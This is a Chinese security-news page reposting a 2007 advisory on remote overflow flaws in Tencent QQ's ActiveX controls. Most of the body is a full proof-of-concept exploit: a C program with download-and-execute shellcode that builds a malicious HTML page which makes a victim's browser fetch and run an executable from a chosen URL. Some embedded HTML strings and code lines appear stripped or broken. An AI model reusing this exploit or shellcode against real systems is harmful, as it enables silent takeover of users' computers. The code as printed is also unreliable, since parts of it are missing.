首页 | 邮件资讯 | 技术教程 | 解决方案 | 产品评测 | 邮件人才 | 邮件博客 | 邮件系统论坛 | 软件下载 | 邮件周刊 | 热点专题 | 工具
网络技术 | 操作系统 | 邮件系统 | 客户端 | 电子邮箱 | 反垃圾邮件 | 邮件安全 | 邮件营销 | 移动电邮 | 邮件软件下载 | 电子书下载

邮件网络安全

系统安全 | 邮件软件漏洞 | 攻防技术 | 安全基础 | 病毒公告 | 病毒查杀 | Forefront/TMG/ISA | 防火墙 | 数字签名 |
首页 > 邮件网络安全 > 操作系统安全 > QQ发现多个溢出漏洞 可完全控制对方电脑 > 正文

QQ发现多个溢出漏洞 可完全控制对方电脑

出处:CnBeta 作者:CnBeta 时间:2007-1-9 18:48:00
 国内著名安全组织幻影PH4NT0M近日发布了多个QQ远程溢出执行漏洞,通过此漏洞可在对方计算机上执行任意程序,以达到完全控制对方计算机的目的。腾讯已发布了针对此漏洞的补丁。请各位立即升级到最新版本。

  Tencent QQ 多个远程溢出漏洞

  by axis(axis_at_ph4nt0m.org)

  摘要:

  QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。

  DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团 (ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下:

  QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx

  其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。

  另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。

  影响版本:

  Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁)

  细节:

  在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。

  漏洞存在的Method是LaunchP2PShare,

  ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}

  其原型是:

  [id(0x00000030)]

  VARIANT_BOOL LaunchP2PShare(

  BSTR szExeName,

  long nDuration);

  第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。

  幻影旅团将对此发布一个POC代码,请勿将此作为非法用途

  POC:

  ------------------------------------------

  /*

  *-----------------------------------------

  *

  * Tencent QQ VQQPlayer.ocx (all version) 0day

  *

  *

  * Author: axis

  * Date: 2006-12-27

  * Mail: axis@ph4nt0m.org

  *

  * Bug discovered by axis@ph4nt0m.org

  * :

  * :

  * :

  * :

  * :Usage: filename [htmlfile]

  * : filename.exe http://site.com/file.exe localhtml.htm

  *

  * 在VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eip和seh

  * QQ是vc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻

  * 而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起 c:program files encentqqAAAAA....

  * 覆盖seh方法比较通用,使用heap spray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie。

  *

  *

  *

  *

  04534E5F 55 PUSH EBP

  04534E60 8BEC MOV EBP,ESP

  04534E62 81EC 60060000 SUB ESP,660

  04534E68 53 PUSH EBX

  04534E69 33DB XOR EBX,EBX

  04534E6B 395D 08 CMP DWORD PTR SS:[EBP+8],EBX

  04534E6E 56 PUSH ESI

  04534E6F 57 PUSH EDI

  04534E70 8BF1 MOV ESI,ECX

  04534E72 75 11 JNZ SHORT VQQPLA~1.04534E85

  04534E74 C786 8C040000 1>MOV DWORD PTR DS:[ESI+48C],12

  04534E7E 33C0 XOR EAX,EAX

  04534E80 E9 42010000 JMP VQQPLA~1.04534FC7

  04534E85 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]

  04534E88 3BC3 CMP EAX,EBX

  04534E8A 8945 0C MOV DWORD PTR SS:[EBP+C],EAX

  04534E8D 7F 07 JG SHORT VQQPLA~1.04534E96

  04534E8F C745 0C 0A00000>MOV DWORD PTR SS:[EBP+C],0A

  04534E96 BF 04010000 MOV EDI,104

  04534E9B 8D85 A0FDFFFF LEA EAX,DWORD PTR SS:[EBP-260]

  04534EA1 57 PUSH EDI

  04534EA2 53 PUSH EBX

  04534EA3 50 PUSH EAX

  04534EA4 E8 437F0000 CALL

  04534EA9 57 PUSH EDI

  04534EAA 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]

  04534EB0 53 PUSH EBX

  04534EB1 50 PUSH EAX

  04534EB2 E8 357F0000 CALL

  04534EB7 83C4 18 ADD ESP,18

  04534EBA 897D FC MOV DWORD PTR SS:[EBP-4],EDI

  04534EBD E8 6E780000 CALL

  04534EC2 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]

  04534EC5 8B78 6C MOV EDI,DWORD PTR DS:[EAX+6C]

  04534EC8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]

  04534ECE 57 PUSH EDI

  04534ECF 50 PUSH EAX

  04534ED0 E8 C3250000 CALL VQQPLA~1.04537498

  04534ED5 FF75 08 PUSH DWORD PTR SS:[EBP+8]

  04534ED8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]

  04534EDE 50 PUSH EAX

  04534EDF E8 027F0000 CALL ; 溢出

  [ebp-15c]处是QQ安装目录, [ebp+8]处是传递的第一个参数

  shellcode使用 add esp, 4dch

  pop ebp

  retn 24h

  安全退出返回到上层函数 mshtml.dll里

  *

  *-------------------------------------------

  */

  #include

  #include

  #include

  FILE *fp = NULL;

  char *file = "fuck_exp1.html";

  char *url = NULL;

  //Download Shellcode by swan@0x557 bypass防火墙

  // 经axis@ph4n0m加入了恢复栈平衡,不挂ie

  unsigned char sc[] =

  "x60x64xa1x30x00x00x00x8bx40x0cx8bx70x1cxadx8bx70"

  "x08x81xecx00x04x00x00x8bxecx56x68x8ex4ex0execxe8"

  "xffx00x00x00x89x45x04x56x68x98xfex8ax0exe8xf1x00"

  "x00x00x89x45x08x56x68x25xb0xffxc2xe8xe3x00x00x00"

  "x89x45x0cx56x68xefxcexe0x60xe8xd5x00x00x00x89x45"

  "x10x56x68xc1x79xe5xb8xe8xc7x00x00x00x89x45x14x40"

  "x80x38xc3x75xfax89x45x18xe9x08x01x00x00x5ex89x75"

  "x24x8bx45x04x6ax01x59x8bx55x18x56xe8x8cx00x00x00"

  "x50x68x36x1ax2fx70xe8x98x00x00x00x89x45x1cx8bxc5"

  "x83xc0x50x89x45x20x68xffx00x00x00x50x8bx45x14x6a"

  "x02x59x8bx55x18xe8x62x00x00x00x03x45x20xc7x00x5c"

  "x7ex2ex65xc7x40x04x78x65x00x00xffx75x20x8bx45x0c"

  "x6ax01x59x8bx55x18xe8x41x00x00x00x6ax07x58x03x45"

  "x24x33xdbx53x53xffx75x20x50x53x8bx45x1cx6ax05x59"

  "x8bx55x18xe8x24x00x00x00x6ax00xffx75x20x8bx45x08"

  "x6ax02x59x8bx55x18xe8x11x00x00x00x81xc4x00x04x00"

  "x00x61x81xc4xdcx04x00x00x5dxc2x24x00x41x5bx52x03"

  "xe1x03xe1x03xe1x03xe1x83xecx04x5ax53x8bxdaxe2xf7"

  "x52xffxe0x55x8bxecx8bx7dx08x8bx5dx0cx56x8bx73x3c"

  "x8bx74x1ex78x03xf3x56x8bx76x20x03xf3x33xc9x49x41"

  "xadx03xc3x56x33xf6x0fxbex10x3axf2x74x08xc1xcex0d"

  "x03xf2x40xebxf1x3bxfex5ex75xe5x5ax8bxebx8bx5ax24"

  "x03xddx66x8bx0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5"

  "x5ex5dxc2x08x00xe8xf3xfexffxffx55x52x4cx4dx4fx4e"

  "x00";

  char * header =

  " "

  " "

  " "

  " ";

  char * trigger =

  " "

  " "

  " "

  " "

  " ";

  // print unicode shellcode

  void PrintPayLoad(char *lpBuff, int buffsize)

  {

  int i;

  for(i=0;i{

  if((i%16)==0)

  {

  if(i!=0)

  {

  printf("" "");

  fprintf(fp, "%s", "" + "");

  }

  else

  {

  printf(""");

  fprintf(fp, "%s", """);

  }

  }

  printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

  fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

  }

  //把shellcode打印在header后面,然后用 " ) " 闭合

  printf(""; ");

  fprintf(fp, "%s", ""); ");

  fflush(fp);

  }

  void main(int argc, char **argv)

  {

  unsigned char buf[1024] = {0};

  int sc_len = 0;

  if (argc < 2)

  {

  printf("Tencent QQ VQQPlayer.ocx (all version) 0day! ");

  printf("Bug Found by axis@ph4nt0m ");

  printf("Date: 2006-12-27 ");

  printf(" Usage: %s [Local htmlfile] ", argv[0]);

  exit(1);

  }

  url = argv[1];

  if( (!strstr(url, "http://") && !strstr(url, "ftp://"))    strlen(url) < 10)

  {

  printf("[-] Invalid url. Must start with 'http://','ftp://' ");

  return;

  }

  printf("[+] download url:%s ", url);

  if(argc >=3) file = argv[2];

  printf("[+] exploit file:%s ", file);

  fp = fopen(file, "w");

  if(!fp)

  {

  printf("[-] Open file error! ");

  return;

  }

  //build evil html file

  fprintf(fp, "%s", header);

  fflush(fp);

  memset(buf, 0, sizeof(buf));

  sc_len = sizeof(sc)-1;

  memcpy(buf, sc, sc_len);

  memcpy(buf+sc_len, url, strlen(url));

  sc_len += strlen(url)+1;

  PrintPayLoad((char *)buf, sc_len);

  fprintf(fp, "%s", footer);

  fflush(fp);

  fprintf(fp, "%s", trigger);

  fflush(fp);

  printf("[+] exploit write to %s success! ", file);

  }

  ----------------------------------------------

  建议:

  禁止ie执行activex

  厂商补丁:

  目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ
相关文章 热门文章
  • 华科人 张小龙 (中国第二代程序员 QQ邮箱 Foxmail)
  • 穿越时空的爱恋 QQ邮箱音视频及贺卡邮件
  • 如何在iPhone/iPod touch/iPad邮件应用程序Mail中使用QQ邮箱Exchange移动终端同步服务?
  • 如何在Android系统中使用QQ邮箱Exchange移动终端同步服务?
  • 如何在塞班S60系统中使用QQ邮箱Exchange移动终端同步服务?
  • 刘子骏:利用QQ邮件列表 做精准的邮件营销
  • 市民QQ邮箱被盗 “被注册”世纪佳缘账号
  • 网易邮箱和腾讯QQ邮箱,永远的对手
  • 腾讯QQ邮件列表开始内测
  • QQ邮箱退信信息一览表
  • QQ邮箱与网易邮箱比较
  • 腾讯企业邮箱公测 启用新域名exmail.qq.com
  • ipc$详细解释大全
  • 利用RPC漏洞入侵服务器
  • 配置策略禁止139/445端口连接
  • 使用windows脚本入侵WINDOWS服务器
  • 木马克星――Trojan Ender正式国际版 2.0.0
  • 让你的终端服务器“固若金汤”
  • 诡秘的DLL木马
  • Windows源码泄露 微软建议用户升级至IE6 SP1
  • 安装Win2003 Server下的Snort
  • 微软最新漏洞公告10号发布 MS04-007最严重
  • 如何配置解决Win2K服务器安全问题
  • 构筑更安全的乐园--Windows安全解决方案解析
  • 自由广告区
     
    最新软件下载
  • SharePoint Server 2010 部署文档
  • Exchange 2010 RTM升级至SP1 教程
  • Exchange 2010 OWA下RBAC实现的组功能...
  • Lync Server 2010 Standard Edition 标..
  • Lync Server 2010 Enterprise Edition...
  • Forefront Endpoint Protection 2010 ...
  • Lync Server 2010 Edge 服务器部署文档
  • 《Exchange 2003专家指南》
  • Mastering Hyper-V Deployment
  • Windows Server 2008 R2 Hyper-V
  • Microsoft Lync Server 2010 Unleashed
  • Windows Server 2008 R2 Unleashed
  • 今日邮件技术文章
  • 腾讯,在创新中演绎互联网“进化论”
  • 华科人 张小龙 (中国第二代程序员 QQ...
  • 微软推出新功能 提高Hotmail密码安全性
  • 快压技巧分享:秒传邮件超大附件
  • 不容忽视的邮件营销数据分析过程中的算..
  • 国内手机邮箱的现状与未来发展——访尚..
  • 易观数据:2011Q2中国手机邮箱市场收入..
  • 穿越时空的爱恋 QQ邮箱音视频及贺卡邮件
  • Hotmail新功能:“我的朋友可能被黑了”
  • 入侵邻居网络发骚扰邮件 美国男子被重..
  • 网易邮箱莫子睿:《非你莫属》招聘多过..
  • 中国电信推广189邮箱绿色账单
  • 最新专题
  • 鸟哥的Linux私房菜之Mail服务器
  • Exchange Server 2010技术专题
  • Windows 7 技术专题
  • Sendmail 邮件系统配置
  • 组建Exchange 2003邮件系统
  • Windows Server 2008 专题
  • ORF 反垃圾邮件系统
  • Exchange Server 2007 专题
  • ISA Server 2006 教程专题
  • Windows Vista 技术专题
  • “黑莓”(BlackBerry)专题
  • Apache James 专题
  • 分类导航
    邮件新闻资讯:
    IT业界 | 邮件服务器 | 邮件趣闻 | 移动电邮
    电子邮箱 | 反垃圾邮件|邮件客户端|网络安全
    行业数据 | 邮件人物 | 网站公告 | 行业法规
    网络技术:
    邮件原理 | 网络协议 | 网络管理 | 传输介质
    线路接入 | 路由接口 | 邮件存储 | 华为3Com
    CISCO技术 | 网络与服务器硬件
    操作系统:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | 其它操作系统
    邮件服务器:
    程序与开发 | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    金笛邮件系统 | 其它 |
    反垃圾邮件:
    综述| 客户端反垃圾邮件|服务器端反垃圾邮件
    邮件客户端软件:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | 雷鸟 | Eudora |Becky! |Pegasus
    IncrediMail |其它
    电子邮箱: 个人邮箱 | 企业邮箱 |Gmail
    移动电子邮件:服务器 | 客户端 | 技术前沿
    邮件网络安全:
    软件漏洞 | 安全知识 | 病毒公告 |防火墙
    攻防技术 | 病毒查杀| ISA | 数字签名
    邮件营销:
    Email营销 | 网络营销 | 营销技巧 |营销案例
    邮件人才:招聘 | 职场 | 培训 | 指南 | 职场
    解决方案:
    邮件系统|反垃圾邮件 |安全 |移动电邮 |招标
    产品评测:
    邮件系统 |反垃圾邮件 |邮箱 |安全 |客户端
    广告联系 | 合作联系 | 关于我们 | 联系我们 | 繁體中文
    版权所有:邮件技术资讯网©2003-2010 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   粤ICP备05009143号